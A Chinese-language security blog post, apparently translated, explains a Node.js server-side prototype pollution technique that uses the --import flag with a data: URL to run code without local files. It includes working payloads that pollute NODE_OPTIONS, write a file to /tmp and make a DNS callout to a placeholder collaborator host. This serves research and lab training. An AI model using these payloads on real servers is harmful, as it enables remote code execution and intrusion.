无需文件系统的Node原型污染漏洞利用技术

本文介绍了一种新型Node.js服务器端原型污染漏洞利用技术,通过--import命令行标志无需文件系统即可实现任意代码执行,适用于Node 19.0.0及以上版本。

无需文件系统的Node原型污染漏洞利用

在这篇文章中,我们将介绍一种服务器端原型污染(SSPP)的新型利用技术。如果检测到SSPP(可能使用我们的黑盒检测技术),实现远程代码执行(RCE)的下一步是找到诸如fork()这样的接收点。

fork通常通过使用文件系统或环境变量中的–require命令行标志来利用,但如果无法这样做呢?我们将展示如何使用Node中的新命令行标志来执行任意代码,而无需本地文件。

命令行标志导入

从Node 19.0.0开始,–import标志允许指定要加载的模块。在设计一些Academy实验室时,我发现可以使用–import命令行选项执行任意JavaScript,而无需文件系统中的任何内容!

Michał Bentkowski最初在Chrome中使用data:协议通过类似函数的import()发现了这一点,但这也可以应用于Node命令行标志。攻击方式如下:

1
--import='data:text/javascript,console.log(1337)'

在测试时,这也被允许在NODE_OPTIONS中使用。我们向Node开发人员报告了这一问题,经过仔细考虑,他们认为这"不是一个入口点安全问题",因此没有违反其威胁模型。

执行任意代码

要执行任意代码并获得对文件系统或基于系统的命令的访问权限,必须使用导入的Node模块。以下是演示如何使用此技术的示例:

1
2
3
let{fork} = require('child_process');
Object.prototype.NODE_OPTIONS = "--import=\"data:text/javascript,import fs from 'node:fs';fs.writeFile('/tmp/pwnd', 'pwnd', x=>1)\"";
fork("test2.js");

上面的代码使用–import命令行标志加载一个data URL,该URL使用import加载Node文件系统模块,并简单地将一个文件写入/tmp/pwnd,内容为"pwnd"。

亲自尝试

我们已升级Academy实验室中的Node,以便您可以尝试此技术。最适合使用的实验室是"通过服务器端原型污染实现远程代码执行",因为它使用fork()。使用以下代码应在使用–import标志时创建DNS交互。您能修改有效负载来解决实验室问题吗?

1
2
3
"__proto__":{
   "NODE_OPTIONS": "--import=\"data:text/javascript,import dns from 'node:dns';dns.lookup('YOUR_COLLABORATOR_ID.oastify.com', x=>1)\""
}
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计